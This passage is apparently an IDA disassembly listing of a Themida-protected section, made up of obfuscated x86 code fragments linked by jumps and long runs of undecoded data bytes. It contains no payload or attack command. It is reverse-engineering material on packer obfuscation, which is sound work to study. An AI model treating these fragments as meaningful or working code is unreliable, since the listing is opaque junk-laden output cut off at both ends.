CODE XREF: Themida_:00506196j xchg esi, ebx not esi xchg esi, ebx xchg ebx, ecx xchg ecx, ebp xor edi, ebp jmp loc_513AF2 ; --------------------------------------------------------------------------- db 5, 0BFh, 78h dd 34FF35C6h, 4B9AE924h, 0EA800000h, 0D1885102h, 5BE9CB88h dd 0F600006Ch, 66592414h, 88C88850h, 0D4C6E9F1h, 0B951FFFFh dd 3D7F1224h, 0B850D9F7h, 0AAC0791Ah, 2958C101h, 67A8E9CAh dd 0F7090000h, 1F7815Eh, 8767B576h, 199468F7h, 8AE90000h dd 68000099h, 3653h, 0B9240C89h, 4, 5749C281h, 0CA015CA0h dd 0FFD691E9h, 24048BFFh, 81E28952h, 4C2h, 4C28300h, 31241433h dd 14332414h, 24248B24h, 272468h, 51D6E900h, 30590000h dd 241C8BF8h, 6D07E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D7FA: ; CODE XREF: Themida_:005141CBj mov cl, 58h xor cl, bl jmp loc_51194A ; --------------------------------------------------------------------------- loc_50D803: ; CODE XREF: Themida_:00510998j mov ebp, ebx pop ebx push 0 sub dword ptr [esp], 487668F1h jmp loc_5163A9 ; --------------------------------------------------------------------------- loc_50D817: ; CODE XREF: Themida_:0050664Cj and eax, edx push dword ptr [esp] jmp loc_50AAD0 ; --------------------------------------------------------------------------- db 1, 0C2h, 58h dd 0E9241487h, 1B48h, 8324048Bh, 575304C4h, 7A4707BFh dd 470BBB48h, 0EAE9487Ah, 0BAFFFFD9h, 7B5A35D6h, 5A35D2BEh dd 5AD6317Bh, 5550E9h, 0A7F78100h, 8142D860h, 4742BF7h dd 8E7C1B7h, 4F01EF83h, 74E9D7F7h, 5FFFFFF7h, 4B951h, 0EF810000h dd 5B00190h, 4E76EF81h, 0CF013D30h, 4E76C781h, 0EE93D30h dd 87000056h, 248B243Ch, 243C8924h, 772668h, 242C8900h dd 0FFE721E9h db 0FFh ; --------------------------------------------------------------------------- loc_50D8A5: ; CODE XREF: Themida_:0050BD3Fj xchg ecx, [esp] mov esp, [esp] jmp loc_513AC6 ; --------------------------------------------------------------------------- dd 0E33B7ABDh, 5BDD3161h, 1D54E9h db 0 ; --------------------------------------------------------------------------- loc_50D8BD: ; CODE XREF: Themida_:00515A87j pop esp mov [esp], eax mov eax, 2FA2108Eh mov edi, eax pop eax jmp loc_515E99 ; --------------------------------------------------------------------------- dw 481h dd 424h, 24048B00h, 4C481h, 55680000h, 89000019h, 4BE2434h dd 2D000000h, 37448B8h, 0B805F001h, 5E037448h, 0A0D9E9h db 0 ; --------------------------------------------------------------------------- loc_50D8FD: ; CODE XREF: Themida_:00511AE7j push eax push esp pop eax add eax, 4 push ecx mov ecx, 4 push ebx jmp loc_50C8DA ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 4C781h, 0C7810000h, 4, 8B243C87h, 0EA682424h, 89000017h dd 0E9572434h, 26CBh, 0BE243489h, 4D05F0Bh, 7EEBBB53h dd 5C29531Ch, 0E95B0824h, 731h, 8B243C29h, 0C483243Ch dd 7EFC104h, 8107E7C1h, 1EFh, 5CEEE900h, 0E95C0000h, 445h ; --------------------------------------------------------------------------- loc_50D96C: ; CODE XREF: Themida_:005175DAj push edi mov edi, 262C315Ah jmp loc_513B42 ; --------------------------------------------------------------------------- db 56h dd 0FFD93EE9h, 490268FFh, 35582EA5h, 0D15AB6FDh, 6101E9h db 0 ; --------------------------------------------------------------------------- loc_50D98D: ; CODE XREF: Themida_:005100B7j mov [esp], esi mov esi, 4000h mov ebp, esi jmp loc_512D4E ; --------------------------------------------------------------------------- dd 96C1815Ch, 89629932h, 2434FFCBh, 820EE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50D9AE: ; CODE XREF: Themida_:005075D3j mov ebx, [esp] jmp loc_51015B ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4E981h, 0C870000h, 0F43BE924h, 0BA52FFFFh, 4, 4738C181h dd 68E93A72h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_50D9DB: ; CODE XREF: Themida_:00513915j xor edx, ebp xor ebp, edx xor edx, ebp xchg ecx, edx push ebp mov ebp, 0FFFFFFFFh sub ecx, 6C265821h sub ecx, ebp add ecx, 6C265821h jmp loc_50D728 ; --------------------------------------------------------------------------- dd 4EC81h, 3C890000h, 0ED685024h, 58634333h, 0E905E8C1h dd 0FFFF671Ch dword_50DA14 dd 582434FFh, 62BB68h, 243C8900h, 9D55E9h, 5C80100h, 514201BDh ; DATA XREF: Themida_:005029B4o dd 0D315822Dh, 0E951591Eh, 9CFDh ; --------------------------------------------------------------------------- loc_50DA38: ; CODE XREF: Themida_:00513D7Fj mov ebp, eax pop eax sub ebp, edi mov edi, [esp] add esp, 4 add ebp, 2EA6828h push edx mov edx, 4A921845h and ebp, edx pop edx push edi push 45BC7F41h jmp loc_5144F2 ; --------------------------------------------------------------------------- loc_50DA5D: ; CODE XREF: Themida_:0050D5A9j mov edi, esp add edi, 4 push ebp mov ebp, 4 sub edi, 584E6233h sub edi, ebp add edi, 584E6233h pop ebp push edi jmp loc_517DAA ; --------------------------------------------------------------------------- aNrS?6 db '¸!NR>é?6',0 align 2 loc_50DA8A: ; CODE XREF: Themida_:00503A3Ej xor edi, esi jmp loc_516345 ; --------------------------------------------------------------------------- loc_50DA91: ; CODE XREF: Themida_:00506747j mov edi, esp add edi, 4 jmp loc_507592 ; --------------------------------------------------------------------------- dw 487h aSM db '$é³m',0 align 2 dw 0C181h dd 744A76AAh, 0BD55D101h, 1A7B3D3Ch, 26E9DDF7h, 5E000023h dd 520CE952h, 0E959FFFFh, 9486h ; --------------------------------------------------------------------------- loc_50DAC8: ; CODE XREF: Themida_:00504BEEj pop eax add esp, 4 sub edi, ebx push edx mov edx, 1F753914h add edi, edx jmp loc_502EC8 ; --------------------------------------------------------------------------- loc_50DADB: ; CODE XREF: Themida_:0050A810j mov [esp], edx mov edx, 5B880893h add edx, 1 jmp loc_5156F7 ; --------------------------------------------------------------------------- loc_50DAEB: ; CODE XREF: Themida_:0050A898j not edx jmp loc_513CE6 ; --------------------------------------------------------------------------- word_50DAF2 dw 28Fh ; DATA XREF: Themida_:00502928o dd 0FF4FD2E9h, 5AD129FFh, 8124148Bh, 4C4h, 4EC8300h, 0FF240C89h dd 0E9042474h, 0FFFFBF0Bh, 0C281DA01h, 63F14B2h, 4EC835Bh dd 0E9241489h, 0FFFF9910h, 8324048Bh, 1C8B04C4h, 0E47DE924h dd 0F388FFFFh, 66DD285Ah, 9C62E95Bh, 34870000h, 98DCE924h dd 14890000h, 28ACB624h, 59EBE9F0h, 0FE01FFFFh, 8C6FE9h db 0 off_50DB5D dd offset dword_450050+3818h ; DATA XREF: Themida_:005027F0o align 2 dw 2489h dd 4BF86824h, 2C890000h, 0E9E58924h, 0FFFFDE3Eh, 2FE5CD81h dd 0CD81013Dh, 7F9A7456h, 7FF3F581h, 53577FBFh, 0A83D86BBh dd 5BDF891Ch, 228AE9h, 0EB815D00h, 447F6100h, 11E9DD01h dd 66FFFFF8h, 290C381h, 0E9DD8966h, 4857h, 4C481h, 0F6810000h dd 0AEC9DCEBh, 492F7A05h, 55F00119h, 734468h, 240C8900h dd 523E6B9h, 5970E94Ch, 1C890000h, 0E962B724h, 7695h ; --------------------------------------------------------------------------- loc_50DBE0: ; CODE XREF: Themida_:00515D96j add edx, 4 push edi push eax push 63AA1AE3h pop eax shr eax, 1 xor eax, 4A8D0280h mov edi, eax pop eax jmp loc_50EE94 ; --------------------------------------------------------------------------- loc_50DBFD: ; CODE XREF: Themida_:00513380j xor [esp], ebx xor ebx, [esp] xor [esp], ebx jmp loc_5039FB ; --------------------------------------------------------------------------- db 1 dd 0E95359CEh, 0FFFFC0C3h ; --------------------------------------------------------------------------- loc_50DC14: ; CODE XREF: Themida_:00502BD5j mov esp, [esp] or edx, eax shl edx, 1 jmp loc_5173EE ; --------------------------------------------------------------------------- loc_50DC20: ; CODE XREF: Themida_:0050C286j pop ebp add ebp, 64CE1145h not ebp jmp loc_50452B ; --------------------------------------------------------------------------- dw 405h dd 87000000h, 0E95C2404h, 0FFFF5BD5h, 1390E958h db 2 dup(0) word_50DC42 dw 8B66h ; DATA XREF: Themida_:00502804o dd 68522404h, 3492h, 8904EC83h, 4812424h, 424h, 24048F00h dd 4240483h, 4EC815Ah, 89000000h, 4BB241Ch, 1000000h, 6213E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DC76: ; CODE XREF: Themida_:00510599j sub ecx, 52215BBDh sub ecx, eax add ecx, 52215BBDh pop eax add edx, 1FD17B21h add edx, ecx sub edx, 1FD17B21h jmp loc_512BA2 ; --------------------------------------------------------------------------- aQS4 db 9,'ï]é',0Bh,'4',0 align 10h dd 315BD889h, 2434FFC2h, 8324048Bh, 54E904C4h, 5800001Dh dd 305E68FDh, 3C890000h, 56BE5624h, 0E950A83Eh, 47B7h dd 0E934EE80h, 6370h dword_50DCD0 dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFFA048h ; DATA XREF: Themida_:00502A60o ; --------------------------------------------------------------------------- loc_50DCE0: ; CODE XREF: Themida_:00513FFFj push 713Dh mov [esp], edx mov edx, 6CFD38BBh xchg edi, edx xchg ebp, edi jmp loc_506420 ; --------------------------------------------------------------------------- loc_50DCF6: ; CODE XREF: Themida_:0050F276j sub ebx, ecx mov ecx, [esp] add esp, 4 sub ebx, edx jmp loc_512D79 ; --------------------------------------------------------------------------- db 0C0h, 0E2h, 4 dd 80A5EA80h, 0E2C091F2h, 0E0EA8003h, 0D028CC2Ch, 95B5E9h db 0 ; --------------------------------------------------------------------------- loc_50DD1D: ; CODE XREF: Themida_:00506442j push dword ptr [esp+4] pop ecx jmp loc_50EB9B ; --------------------------------------------------------------------------- loc_50DD27: ; CODE XREF: Themida_:0050F022j add esp, 4 push edx mov edx, 3881954h push 6866h jmp loc_509282 ; --------------------------------------------------------------------------- loc_50DD3D: ; CODE XREF: Themida_:0050EE8Fj mov ecx, 16195C1Ch add ecx, 38FD4F9Eh add ecx, 6B8E7F86h add ecx, 2D1372EEh jmp loc_50D49D ; --------------------------------------------------------------------------- db 1, 0DEh, 5Bh aQsig db 'Qé›G',0 align 2 dw 3C8Bh dd 0E0895024h, 405h, 4C08300h, 5C240487h, 311DEB81h, 0A682AA3h dd 89000043h, 5AE9240Ch db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50DD87: ; CODE XREF: Themida_:005156C2j pop ecx xor ebx, [esp] jmp loc_5087E3 ; --------------------------------------------------------------------------- dd 783BE82Dh, 58C52908h, 2D5DE989h, 734B5CF2h, 5FABE9h dd 24248B00h, 9C240CFEh, 0FF4D1AE9h, 240C8BFFh, 31F968h dd 241C8900h, 0B068E389h, 8900003Eh, 0BF572404h, 43977B10h dd 829E7AB8h, 0E9F82993h, 4AA7h ; --------------------------------------------------------------------------- loc_50DDD8: ; CODE XREF: Themida_:00503475j push dword ptr [esp] push dword ptr [esp] mov edi, [esp] add esp, 4 push edi jmp loc_51427B ; --------------------------------------------------------------------------- db 50h, 0B4h, 29h dd 5DF9E9h, 0E9E58800h, 9507h ; --------------------------------------------------------------------------- loc_50DDFC: ; CODE XREF: Themida_:00516681j not ebp inc ebp push ebp not dword ptr [esp] pop ebp sub ebp, 500F06D1h sub ebp, 0D45F21Eh jmp loc_511B59 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0Ch dd 5E05F61Bh, 4EF81h, 3C330000h, 243C3124h, 5C243C33h dd 53241489h, 7CB2E9B3h, 535BDA28h, 0C7FE7BB7h, 0FF5EE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_50DE41: ; CODE XREF: Themida_:00509177j pop ebx jmp loc_511E8E ; --------------------------------------------------------------------------- db 81h dd 65D3F8C7h, 5FFE89D6h, 880EBE56h, 8AE95362h, 8300009Fh dd 0DFF704C4h, 6BE4EF81h, 0C1811052h, 29556E24h, 0BD55F901h dd 29556E24h, 2C8BE929h, 0E2895224h, 4C281h, 0C2810000h dd 4, 5C241487h, 0FFCE60E9h db 0FFh ; --------------------------------------------------------------------------- loc_50DE91: ; CODE XREF: Themida_:00507B64j sub esp, 4 mov [esp], eax mov eax, 7C52ED3h jmp loc_502F33 ; --------------------------------------------------------------------------- dd 3568C781h, 0C78146CBh, 5B0F0F73h, 8324048Bh, 3C3304C4h dd 9853E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DEBE: ; CODE XREF: Themida_:00502ECEj add ebp, 4 push edx sub esp, 4 mov [esp], ecx mov ecx, 3371023Bh push ebx push 579E3ADDh pop ebx neg ebx xor ebx, 8B38B63Eh jmp loc_50E986 ; --------------------------------------------------------------------------- dd 4EC8157h, 89000000h, 4812424h, 424h, 0B1685F00h, 8900001Ah dd 0F4E92414h, 87FFFFCDh, 248B240Ch, 2404FF24h, 4BB9E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DF12: ; CODE XREF: Themida_:0050E53Fj add ebp, ebx add ebp, 1F2C3F0Ah mov ebx, [esp] add esp, 4 add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_50AA2F ; --------------------------------------------------------------------------- dd 80E78159h, 51038821h, 139F68h, 24048900h, 0FF9843E9h dd 81D729FFh, 0BE0E53C7h, 3C335A1Bh, 8588E924h, 0C5810000h dd 2A2FD724h, 0B6E9EF01h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50DF6F: ; CODE XREF: Themida_:00504985j mov [esp], eax push ebx jmp loc_506B8A ; --------------------------------------------------------------------------- loc_50DF78: ; CODE XREF: Themida_:005172C5j pop esp mov [esp], ebx mov edi, [esp] jmp loc_508850 ; --------------------------------------------------------------------------- loc_50DF84: ; CODE XREF: Themida_:00510023j push 146Eh mov [esp], esi jmp loc_5030C9 ; --------------------------------------------------------------------------- loc_50DF91: ; CODE XREF: Themida_:00509555j push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx mov edx, 2 add edi, 64872AF2h add edi, edx push ebx jmp loc_50F931 ; --------------------------------------------------------------------------- loc_50DFB4: ; CODE XREF: Themida_:0050C11Cj mov ebp, ecx pop ecx add ebx, ebp push dword ptr [esp] jmp loc_50C22F ; --------------------------------------------------------------------------- loc_50DFC1: ; CODE XREF: Themida_:00509F49j pop ecx jmp loc_50EF24 ; --------------------------------------------------------------------------- db 58h dd 15BD829h, 2434FFC3h, 0FFF401E9h db 0FFh ; --------------------------------------------------------------------------- loc_50DFD5: ; CODE XREF: Themida_:00514B96j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push dword ptr [eax] jmp loc_506361 ; --------------------------------------------------------------------------- dw 0C281h dd 31A539ADh, 4EC81h, 1C890000h, 4E8BB24h, 22E97D95h, 8BFFFFADh dd 0C4812434h, 4, 309FE9h db 0 ; --------------------------------------------------------------------------- loc_50E019: ; CODE XREF: Themida_:0050343Aj shl edi, 6 xor edi, 0AED2F57Fh mov eax, edi pop edi push ebx mov ebx, 6F986B83h xchg esi, ebx dec esi xchg esi, ebx inc ebx shr ebx, 1 neg ebx jmp loc_5054E3 ; --------------------------------------------------------------------------- dw 0F681h dd 6E017A6Ah, 1E2ECE81h, 0C4E928F9h, 8B000084h, 89512424h dd 0F960E9E1h, 0D4B4FFFFh, 48BE300h, 0E0895024h, 405h dd 40500h, 4870000h, 24248B24h, 634668h, 24048900h, 5EF3E9h dd 24740100h, 6B7EE904h, 0E9500000h, 1829h dword_50E08C dd 0E924248Bh, 0FFFF4A37h ; DATA XREF: Themida_:005028F8o ; --------------------------------------------------------------------------- loc_50E094: ; CODE XREF: Themida_:0050B183j push 4268681Ah pop ebp inc ebp shr ebp, 6 add ebp, 6FC271D9h sub ebp, 3D2FE20Ah jmp loc_5100BC ; --------------------------------------------------------------------------- db 56h dd 8E6EBDBEh, 9AF7B93Bh, 0F101E736h, 1860E95Eh, 0B8500000h dd 752959EAh, 4258C289h, 2E70CA81h, 0E2C104ADh, 5E28107h dd 8169362Ch, 5B1AA9F2h, 0E9D68923h, 93A0h ; --------------------------------------------------------------------------- loc_50E0E8: ; CODE XREF: Themida_:00503DE6j mov [esp], esi jmp loc_50E37A ; --------------------------------------------------------------------------- dd 0E9240489h, 254Bh, 0C5815D54h, 4, 4BD5553h, 89447F61h dd 0FA87E9EBh, 5653FFFFh, 0E02C0ABEh, 9AEE8158h, 89EE211Dh dd 1AE95EF3h, 0FF000095h, 1EE92434h, 54FFFF7Bh, 0F47CE95Eh db 2 dup(0FFh) word_50E132 dw 8B66h ; DATA XREF: Themida_:00502800o dd 0EC81240Ch, 4, 83243C89h, 248904ECh, 0B9515324h, 4 dd 3D7DE9h, 59C80100h, 0BB53555Fh, 772C4335h, 0FFF2EFE9h dd 4C481FFh, 55000000h, 0CE1630BDh, 34E95059h, 0F7000034h dd 5EAC1D2h, 0C281DAF7h, 2B6C7B4Dh, 0F100E953h, 4E68FFFFh dd 89000065h, 0E2892414h, 4EC81h, 0C890000h, 1999B924h dd 0E1C127D3h, 191E6803h, 0EEE90000h, 89FFFF7Bh, 54B1240Ch dd 7EB75351h, 88FA8852h, 0C05B5AD5h, 0F58007E5h, 0DCC380C1h dd 0EB80EB28h, 0EB8059DCh, 5158E941h, 0C9810000h, 0D164BD5h dd 0B91CF181h, 0CD897C77h, 81240C8Bh, 4C4h, 0ADED8100h dd 8171C11Dh, 885910F5h, 21EA81EFh, 0E9495B54h, 77A9h dd 0D036EB81h, 32E999E2h db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_50E20B: ; CODE XREF: Themida_:005164C7j pop ebx push edi jmp loc_516163 ; --------------------------------------------------------------------------- loc_50E212: ; CODE XREF: Themida_:005075A1j add ebp, 4 jmp loc_50B6BA ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FFE971E9h, 240C89FFh, 0FF489EE9h, 4C281FFh, 127DE0Bh dd 4EA81C2h, 8127DE0Bh, 8040DEEAh, 0BE56587Dh, 16A35439h dd 0DEF7DEF7h, 1E5FE681h, 0D6F70557h, 0EBE4F681h, 37E9FBFCh db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50E25F: ; CODE XREF: Themida_:0050EC7Bj shl ecx, 2 xor ecx, 80F6981h xor ebx, ecx pop ecx add ebx, 1B17B0DCh mov eax, ebx pop ebx xor esi, eax pop eax jmp loc_516FD0 ; --------------------------------------------------------------------------- dd 8159CB31h, 0B8310CF3h, 6E3C11Dh, 4B4668h, 240C8900h dd 42A9DCB9h, 8BCB01C2h, 0C481240Ch, 4, 4AD3874Bh, 0F793D387h dd 0EB8193D0h, 3A80A4Bh, 0FFD1C1E9h, 0FDC781FFh, 8B79AD51h dd 9CE92434h, 0BF000093h, 0A05BB1C8h, 8D25E9h db 0 ; --------------------------------------------------------------------------- loc_50E2CD: ; CODE XREF: Themida_:00506F20j mov edi, 4 sub dword ptr [esp+4], 1F7D58BFh add [esp+4], edi jmp loc_517589 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 2434FF04h, 317CE9h, 34FF5C00h, 2434FF24h dd 4CDCE959h, 0C681FFFFh, 71D4510h, 95E9F001h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E30B: ; CODE XREF: Themida_:00506898j mov ecx, esp push edx push ecx mov ecx, 7CF5FC4h sub ecx, 104F3D42h shl ecx, 1 dec ecx xor ecx, 74C65886h xor ecx, 9BC61D81h mov edx, ecx jmp loc_5068FC ; --------------------------------------------------------------------------- dd 4C481h, 81560000h, 4ECh, 0EBFAE900h db 2 dup(0FFh) word_50E342 dw 34FFh ; DATA XREF: Themida_:00502A04o dd 0F3685824h, 89000049h, 5EE9240Ch, 81000027h, 0CC20EEC7h dd 52E95115h, 2800001Fh, 8D5FE9F0h, 0C281FFFFh, 6B621B47h dd 0BB8EA81h, 48B6408h, 71AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E37A: ; CODE XREF: Themida_:0050E0EBj mov esi, 3BA457CAh jmp loc_5063E5 ; --------------------------------------------------------------------------- loc_50E384: ; CODE XREF: Themida_:005098EEj push esp pop edx push ecx jmp loc_5127DF ; --------------------------------------------------------------------------- dd 7AEA815Ch, 81679416h, 0E20CF3C2h, 50EA0167h, 262C04B8h dd 7DF5E90Eh, 1C8BFFFFh, 4C48124h, 30000000h, 9A3AE9C3h dd 0C8680000h, 0E9000030h, 0A23h, 2EF81h, 3C870000h, 89665C24h dd 58E9240Ch, 81000072h, 4C02B4C5h, 5B8E938h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E3DE: ; CODE XREF: Themida_:005109F8j add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] shr ecx, 0Bh jmp loc_50B677 ; --------------------------------------------------------------------------- loc_50E3F5: ; CODE XREF: Themida_:0051560Ej pop esp add esp, 4 jmp loc_502ACB ; --------------------------------------------------------------------------- aZrsD db ']ZRéÑd',0 db 0 byte_50E409 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005029C4o dd 0D259669Dh, 0E99C2414h, 0FFFF46B3h ; --------------------------------------------------------------------------- loc_50E418: ; CODE XREF: Themida_:00503117j add ecx, eax jmp loc_50BD38 ; --------------------------------------------------------------------------- loc_50E41F: ; CODE XREF: Themida_:0050B5E6j mov ecx, ebp jmp loc_50AD46 ; --------------------------------------------------------------------------- dw 0EEC1h dd 1312E908h, 0E95F0000h, 0FFFF511Bh, 8EB95156h, 517A722Fh dd 0FCED02B9h, 59CE8974h, 0D5E9CE29h, 0FFFFF65h, 5451C8BFh dd 83240C8Bh, 7E6804C4h, 89000049h, 0E589242Ch, 4C581h dd 0ED810000h, 4, 5C242C87h, 81242C89h, 4ECh, 0A2C2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E47E: ; CODE XREF: Themida_:00516067j mov esp, [esp] push 1 jmp loc_5076CE ; --------------------------------------------------------------------------- db 0BBh dd 5FC2195Fh, 5308EBC1h, 0E9240CFFh, 0FFFFC081h ; --------------------------------------------------------------------------- loc_50E49C: ; CODE XREF: Themida_:00508AC5j add edx, 4 jmp loc_512909 ; --------------------------------------------------------------------------- dd 0E924148Bh, 3E29h, 8D18F381h, 0D9291715h, 71BAE9h db 0 ; --------------------------------------------------------------------------- loc_50E4B9: ; CODE XREF: Themida_:005032E2j xor eax, 11292DB7h mov edx, eax pop eax add edi, edx push dword ptr [esp] pop edx add esp, 4 push ecx mov ecx, 4 jmp loc_510049 ; --------------------------------------------------------------------------- dd 4C481h, 0E9520000h, 328h ; --------------------------------------------------------------------------- loc_50E4E4: ; CODE XREF: Themida_:00517084j pop ecx pop dword ptr [esp] pop esp xor eax, ebp xor ebp, eax xor eax, ebp push ebp push 47B6h mov [esp], edx jmp loc_509EB4 ; --------------------------------------------------------------------------- loc_50E4FD: ; CODE XREF: Themida_:005125E9j and eax, edx push dword ptr [esp] push dword ptr [esp] jmp loc_516655 ; --------------------------------------------------------------------------- loc_50E50A: ; CODE XREF: Themida_:005162CBj push ebp mov ebp, 715F3ADCh sub edi, ebp jmp loc_515D7A ; --------------------------------------------------------------------------- loc_50E517: ; CODE XREF: Themida_:0050756Aj pop eax push eax push ebp mov ebp, 7321248Fh sub [esp+4], ebp pop ebp pop ecx push ebx jmp loc_514CC7 ; --------------------------------------------------------------------------- loc_50E52B: ; CODE XREF: Themida_:005168E3j add edx, 73340498h push dword ptr [esp] jmp loc_506F00 ; --------------------------------------------------------------------------- loc_50E539: ; CODE XREF: Themida_:00514263j sub ebp, 1F2C3F0Ah jmp loc_50DF12 ; --------------------------------------------------------------------------- dd 4BBh, 5BD90100h, 8704E983h, 61E9240Ch, 83FFFF4Bh, 0C28104C4h dd 0F86A0CDFh, 685AD001h, 5ECFh, 0BB241C89h, 499268E0h dd 70E9D831h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E577: ; CODE XREF: Themida_:0050D5D4j mov eax, [esp] add esp, 4 jmp loc_505566 ; --------------------------------------------------------------------------- db 5Eh, 57h, 53h dd 4BBh, 5BDF8900h, 875FFA01h, 815C2414h, 401B242Ch, 2C817530h dd 0DD18F824h, 2404014Fh, 0F8240481h, 834FDD18h, 1C8904ECh dd 401BBB24h, 0BF577530h, 0FA4012h, 8246C81h, 278131Dh dd 8247C01h, 8244481h, 278131Dh, 0E9243C8Bh, 0FFFF4EFAh dd 0E2F1E950h, 2C8BFFFFh, 4C48124h, 33000000h, 0C31240Ch dd 240C3324h, 0E924248Bh, 0FFFF44CFh, 4EC815Eh, 89000000h dd 38BD242Ch, 293A7247h, 0FDEFE9E9h, 1489FFFFh, 2474FF24h dd 2434FF04h, 0E689565Ah, 4C681h, 0C6810000h, 4, 8B243487h dd 48F2424h, 24248B24h, 68241C89h, 903h, 0FF6638E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E645: ; CODE XREF: Themida_:00510394j push edx mov edx, 60444AEh push ebx mov ebx, 5DF0C8BFh add edx, ebx pop ebx and ebp, edx mov edx, [esp] add esp, 4 sub ebp, 538D73BCh dec ebp neg ebp and ebp, 524E579Eh jmp loc_515D20 ; --------------------------------------------------------------------------- db 83h dd 17E904ECh db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E67B: ; CODE XREF: Themida_:00507FF0j pop esp jmp loc_503007 ; --------------------------------------------------------------------------- db 29h, 0FAh, 0E9h dd 0FFFFED81h, 1B4830B9h, 89F1810Ch, 4961E636h, 8108E1C1h dd 814804C1h, 4C45E902h, 295FFFFFh, 8CADE9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E6AA: ; CODE XREF: Themida_:0050CEBDj add esi, 9FD59Bh add ebx, esi pop esi jmp loc_50A213 ; --------------------------------------------------------------------------- loc_50E6B8: ; CODE XREF: Themida_:005075EFj push edx jmp loc_5109CA ; --------------------------------------------------------------------------- dw 5740h dd 0FFAC64E9h, 0C1815FFFh, 4, 9485E9h, 50EF8100h, 8112225Fh dd 0E715A0CFh, 0AE91E908h, 0BBB8FFFFh, 0E9202652h, 0FFFFA533h dd 2414895Ch, 0EE80EE88h, 86D0E901h, 0B866FFFFh, 0C4E97627h dd 8BFFFFAEh, 0C4832414h, 53FDE904h, 0EC81FFFFh, 4, 0E9241489h dd 0FFFF7367h ; --------------------------------------------------------------------------- loc_50E71C: ; CODE XREF: Themida_:0050D50Fj mov esp, [esp] idiv cx push 48CEh mov [esp], ebp push esp pop ebp push edi mov edi, 34866351h sub esp, 4 mov [esp], edx push eax mov eax, 23F42D02h push ebp mov ebp, eax mov edx, ebp mov ebp, [esp] add esp, 4 pop eax and edi, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_505339 ; --------------------------------------------------------------------------- dd 81242C89h, 16822434h, 1C8B48D9h, 1321E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E76A: ; CODE XREF: Themida_:00503492j xor cl, 61h add cl, 58h shr cl, 3 shl cl, 6 add cl, 34h jmp loc_508FC3 ; --------------------------------------------------------------------------- dw 8468h dd 8900007Eh, 64E92404h, 50000027h, 4EA1BF57h, 0F7813262h dd 470C5027h, 0E7B6EF81h, 0F8890B5Eh, 4CF6355Fh, 0C22964B2h dd 0FFF37BE9h, 3EE941FFh db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_50E7B3: ; CODE XREF: Themida_:00504EBAj or edx, eax jmp loc_510AF9 ; --------------------------------------------------------------------------- dw 0F205h dd 8B734B5Ch, 0E9E9240Ch, 81FFFF85h, 0ED1183E9h, 5DBAE979h dd 83BB0000h, 3175B350h, 0BB535BDFh, 30670D84h, 0F702EBC1h dd 0E9DBF7D3h, 171Ch ; --------------------------------------------------------------------------- loc_50E7EC: ; CODE XREF: Themida_:00508538j neg ecx xor ecx, 0C198F434h add ecx, 77101575h xchg ebp, ecx not ebp xor ecx, ebp xor ebp, ecx xor ecx, ebp inc ecx inc ecx push edi jmp loc_5034C8 ; --------------------------------------------------------------------------- dd 0D2F6BDB2h, 0E9B2C280h, 4219h, 815A5452h, 4C2h, 4EA8300h dd 5C241487h, 55240489h, 8D233CBDh, 5DE88929h, 3504E0C1h dd 80D4386Ah, 31A468h, 24148900h, 0FFEBCBE9h db 0FFh ; --------------------------------------------------------------------------- loc_50E849: ; CODE XREF: Themida_:0050680Dj push offset dword_43A4C0 mov ebx, [esp] add esp, 4 sub edi, ebx jmp loc_5101B3 ; --------------------------------------------------------------------------- loc_50E85E: ; CODE XREF: Themida_:0051403Bj add esp, 4 add ebp, 4 jmp loc_5079D1 ; --------------------------------------------------------------------------- dd 0E9F8B450h, 0FFFF9063h dword_50E874 dd 24048B66h, 34FF5453h, 0C4815B24h, 4, 52555155h, 0BD0BD9BAh ; DATA XREF: Themida_:005028E4o dd 60F28173h, 8951A905h, 0C8B5E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E89A: ; CODE XREF: Themida_:0050E908j push ebx push esi push 6D7C48B2h pop esi inc esi push esi not dword ptr [esp] jmp loc_50B5AC ; --------------------------------------------------------------------------- dword_50E8AC dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF420Fh, 0BE56D9F7h ; DATA XREF: Themida_:005028E8o dd 2B5652F6h, 0E903E6C1h, 0FFFFB088h, 0D380F181h, 3FE99B69h dd 8100002Ah, 4E9h, 240C8700h, 240C895Ch, 8B1AD9B9h, 3E1C106h dd 355DBE56h, 0EE8131E4h, 663D0C21h, 15EF101h, 0CFE959CBh db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E903: ; CODE XREF: Themida_:005163B4j neg ebp 